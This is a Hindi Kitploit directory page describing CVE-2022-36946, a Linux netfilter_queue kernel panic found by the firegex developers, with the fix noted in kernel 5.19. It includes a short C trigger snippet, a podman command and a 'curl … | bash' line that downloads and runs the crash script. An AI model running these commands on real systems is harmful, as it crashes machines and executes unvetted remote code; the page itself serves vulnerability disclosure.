Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-36946 — CVE-2022-36946 लिनक्स कर्नेल पैनिक में netfilter_queue | Kitploit
उपकरण/GitHubGitHub/pwnzer0tt1/cve-2022-36946
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणकंटेनर एस्केप
GitHubpwnzer0tt1/cve-2022-36946

CVE-2022-36946

CVE-2022-36946 लिनक्स कर्नेल पैनिक में netfilter_queue

रिपॉजिटरी देखें
2252 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

CVE-2022-36946

रिपोर्ट द्वारा: Domingo Dirutigliano और Nicola Guerrera

जब हम firegex पर काम कर रहे थे, जो CTF Attack-Defence प्रतियोगिताओं के लिए हमारा एप्लिकेशन फ़ायरवॉल है, तो हम कुछ कर्नेल पैनिक्स पर ठोकर खाए।

इस अजीब व्यवहार को फिर अलग करके विश्लेषित किया गया, जिसके परिणामस्वरूप netfilter मॉड्यूल, विशेष रूप से nfnetlink में इस संभावित सुरक्षा दोष की खोज हुई।

यह कैसे काम करता है?

जब nf_queue निर्णय को 0-बाइट nfta_payload विशेषता के साथ भेजा जाता है तो कर्नेल पैनिक करता है।

root@kitploit:~
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );

ऐसा इसलिए होता है क्योंकि IP/IPv6 स्टैक इनपुट हुक के बाद पैकेट से IP(v6) हेडर को खींचता है।

इसलिए, यदि उपयोगकर्ता पैकेट को हेडर आकार से नीचे छोटा कर देता है, तो यह skb_pull() एक विकृत skb का कारण बनेगा जिसके परिणामस्वरूप पैनिक होगा।

इसे एक अनप्रिविलेज्ड उपयोगकर्ता के साथ भी curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash चलाकर आज़माएं (नीचे और विवरण)।

क्या हमें वास्तव में root की आवश्यकता है...?

Linux नेमस्पेस, विशेष रूप से उपयोगकर्ता नेमस्पेस (kernel.unprivileged_userns_clone=1 के माध्यम से सक्षम) का उपयोग करके, एक सामान्य उपयोगकर्ता एक नेटवर्क नेमस्पेस बनाने में सक्षम होता है, जिससे वे पैनिक को ट्रिगर करने वाले उसी कर्नेल प्रिमिटिव का उपयोग कर सकते हैं। यह आपको बिना root के भेद्यता का उपयोग करने की अनुमति देगा।

यह परिदृश्य असामान्य नहीं है: उदाहरण के लिए podman अपने (रूटलेस) कंटेनरों को चलाने के लिए इस विकल्प का उपयोग करता है, और कुछ डिस्ट्रोस पर यह विकल्प डिफ़ॉल्ट रूप से सक्षम होता है।

आप root विशेषाधिकारों के बिना शोषण निष्पादित करने का प्रयास भी कर सकते हैं:

root@kitploit:~
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946

या यदि आप इसे चलते-चलते परीक्षण करना चाहते हैं (केवल tar और curl इंस्टॉल होना आवश्यक है):

root@kitploit:~
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash

समाधान

Linux कर्नेल 5.19 में ठीक किया गया अंतर देखें

Linux कर्नेल सुरक्षा टीम द्वारा मूल पैच यहाँ

इस भेद्यता का शोषण करने के लिए आवश्यकताएँ:

  • एक असुरक्षित Linux कर्नेल
  • CAP_NET_ADMIN क्षमता (नेमस्पेस में भी)

पैनिक6 क्यों?

यह छठे प्रयास में काम किया, इसलिए हमने यह नाम रखा।

अपने पीसी को बंद करने का एक नया तरीका:

terminal_speed

DevFest-2023 के लिए प्रस्तुति

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing

टूल डाउनलोड करें